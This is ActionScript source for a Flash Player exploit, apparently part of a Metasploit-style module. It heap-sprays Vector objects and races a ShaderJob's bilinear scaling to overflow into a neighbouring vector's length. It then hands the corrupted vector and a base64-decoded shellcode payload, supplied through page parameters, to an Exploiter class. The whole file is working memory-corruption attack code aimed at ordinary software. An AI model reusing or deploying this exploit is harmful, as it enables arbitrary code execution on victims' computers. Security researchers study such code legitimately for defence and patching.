package
{
    import flash.display.BitmapData
    import flash.display.Shader
    import flash.display.ShaderJob
    import flash.display.Sprite
    import flash.utils.getTimer
    import flash.display.LoaderInfo
    import mx.utils.Base64Decoder
    import flash.utils.ByteArray

    public class Exploit extends Sprite
	{
        [Embed ( source="exploit.pbj", mimeType="application/octet-stream" ) ]
        private static var BilinearScaling:Class
        private var ov:Vector.<Object>
        private var uv:Vector.<uint>

        private var b64:Base64Decoder = new Base64Decoder()
        private var payload:ByteArray
        private var platform:String
        private var os:String
        private var exploiter:Exploiter

        public function Exploit()
        {
            platform = LoaderInfo(this.root.loaderInfo).parameters.pl
            os = LoaderInfo(this.root.loaderInfo).parameters.os
            var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
            var pattern:RegExp = / /g;
            b64_payload = b64_payload.replace(pattern, "+")
            b64.decode(b64_payload)
            payload = b64.toByteArray()

            var srcBmd:BitmapData = new BitmapData(0x93, 1, true, 0x40000000);

            // Create and configure a Shader object to apply the the bilinear scaling bytecode
            var shader:Shader = new Shader()
            shader.byteCode = new BilinearScaling()
            shader.data.scale.value = [1]
            shader.data.src.input = srcBmd

            // Put vectors in memory
            ov = new Vector.<Object>(1024)

            for (var i:uint = 0; i < ov.length; i++) {
                ov[i] = new Vector.<uint>(0xa6)
                ov[i][0] = 0xdeedbeef
                ov[i][1] = i
                ov[i][2] = 0xdeadbeaf
            }

            // Create holes by redimensioning some vectors
            for (i = ov.length / 2; i < ov.length; i = i + 6) {
                ov[i].length = 0x14c // 0xa6 * 2
            }

            // Defragment memory so hopefully one of our holes will be used 
            // by the ShaderJob later...
            var defrag:Vector.<Object> = new Vector.<Object>(20)
            for(i = 0; i < defrag.length; i++) {
                defrag[i] = new Vector.<uint>(0xa6)
            }

            // Apply the bilinear scaling with a ShaderJob, so the job
            // can be execued on a new thread, providing us the opportunity
            // to tweak the width attribute after starting the job, providing
            // a buffer overflow situation
            var shaderJob:ShaderJob = new ShaderJob()
            shaderJob.shader = shader
            shaderJob.target = srcBmd
            shaderJob.width = 0
            shaderJob.start()
            shaderJob.width = 0xa5 // Overwrite "next" vector length
            this.WaitTimer(1000)

            for (i = 0; i < ov.length; i++) {
                if (ov[i].length != 0xa6 && ov[i].length != 0x14c) {
                    Logger.log("[*] Exploit - Exploit(): Vector corrupted: " + i.toString() + " : " + ov[i].length.toString())
                    uv = ov[i]
                } else {
                    delete(ov[i])
                    ov[i] = null
                }
            }

            if (uv == null) {
                Logger.log("[!] Exploit - Exploit(): Corrupted Vector not found")
                return
            }

            exploiter = new Exploiter(this, platform, os, payload, uv)
        }
				
        private function WaitTimer(time:int):void{
            var current:int = getTimer()
            while (true) {
                if ((getTimer() - current) >= time) break
            }
        }
    }
}
